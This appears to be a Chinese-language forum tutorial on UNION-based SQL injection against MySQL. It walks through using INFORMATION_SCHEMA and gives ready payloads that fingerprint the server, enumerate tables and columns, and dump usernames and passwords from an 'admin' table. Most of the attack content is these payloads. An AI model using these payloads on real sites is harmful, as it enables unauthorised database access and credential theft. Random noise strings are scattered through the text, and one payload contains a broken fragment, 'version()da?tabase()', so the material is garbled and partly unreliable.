mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
5 B% N: d& Y9 D6 _# K
* P: |# b8 ~2 @4 e  t$ i学习盲注前先了解下 IFORMATION_SCHEMA 库
8 _3 k; X5 ~3 ?; W
: R2 m% }; u9 Q8 i/ [9 K  HMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
" D6 v2 A! i5 ]0 Q/ L. j1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
6 b* c3 d9 x. Y8 Y/ V$ S0 ^|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名
! s$ i- `0 q6 H4 m' q
. x! w+ Z5 q& l  ~6 Y6 X( H9 p8 A|COLUMNS ->存储的字段名表
# R2 u& A" r% N) L( ^1 N2 Q|---字段：TABLE_SCHEMA ->该字段所属数据库名
4 |2 Y. V$ n3 K5 u" d|---字段：TABLE_NAME ->存储所属表的名称
8 |5 A6 l: G* @
( g6 o7 l- l9 N; q' R: ]|---字段：COLUMN_NAME ->该字段的名称
* G' O0 H6 D- d: f! R: K; a# C
: }9 _  [0 s7 J3 \3 S, v# `

. ?3 e- P- k8 S4 t###########################################################################
! I! J. q$ ]5 ?; z* j
* B) Z5 {$ ]' G1 ]% K# L0x001 获取系统信息:

+ Z  r# R+ @5 y2 E$ }5 ]union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*
! i6 R" p7 B" u- ]
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
6 w. j& E; r. I. ?database() 当前数据库名称
0x3c62723e 换行HEX值
$ W4 o5 H4 ^( Y7 E5 O
4 g3 ?5 l( l& L: {. X*/
: T/ i' M: n- H. l% x6 Q


######################################################################
3 i+ i7 s1 g% B% a. T" u# F
0x002 获取表名
% Y9 s7 w- l( T. ~8 e! e
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
0 O- v0 `& L$ L) s9 q' D
% ^9 p( H: [/ w  u( K/ ~" g

/*
3 o9 u0 ^2 g  }9 Z7 E" q
$ m  K: |2 T. [6 R( j! ~" [0x67617264656e 为当前数据库名
$ t* K8 Y: ~2 Q5 E
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
, F- _- J$ I; U2 C0 @* B) a: S
, D0 H6 U% w; A) c* A" Q! g, A######################################################################
  J. N$ v9 i( L5 X* ?! F, V
! j, J$ c" A9 d% m- W% p$ a

4 ^0 N1 o/ k: l- L& q$ f0x003 获取字段

& @% i0 f+ o- u6 c( yunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
0 x9 b1 @5 v' F6 x3 p5 i5 A4 @
( r3 C7 G6 t4 f, U. T- Z2 z% C/*

* n# O5 O$ p+ G* Agroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

* b* A8 l, a: A* }2 Z0x61646d696e ->选择一个表

  _0 J: K! U# S7 S- R0x67617264656e ->数据库名
1 M9 r* M8 l2 h+ Y
*/
- |) w* R* j; @6 Q8 m9 u$ X
* S/ g! R  @; p, L#####################################################################
& Q9 p6 P9 |" f- T

1 o# i* m/ S5 i  S7 a/ J. M8 q
  A4 ^5 V# [- Z5 G, a0x004 获取数据

2 f6 @! w- r4 k0 x: V" w" }# i4 Iunion select 1,2,3
% G+ u9 W$ e# Q5 c, q& i,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
4 l: h* o- s$ C3 }2 Y' f6 w; g& F% S
4 _5 [$ ~9 b8 e- @union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin

4 R  i5 [& t$ u9 I
; l1 i9 }5 r( M0 f' ?
/*
' T9 o2 S+ a' i' r; f# o$ A
8 {7 g9 i- `* k  N: m2 }0x3c62723e 换行符号HEX编码

- _* ^$ [5 @* ~$ c- Pgroup_concat 同时获得该字段所有数据
- [+ `, D  _) g6 \' ]: b
*/
2 n" v5 A7 i) r4 Q; Z9 ]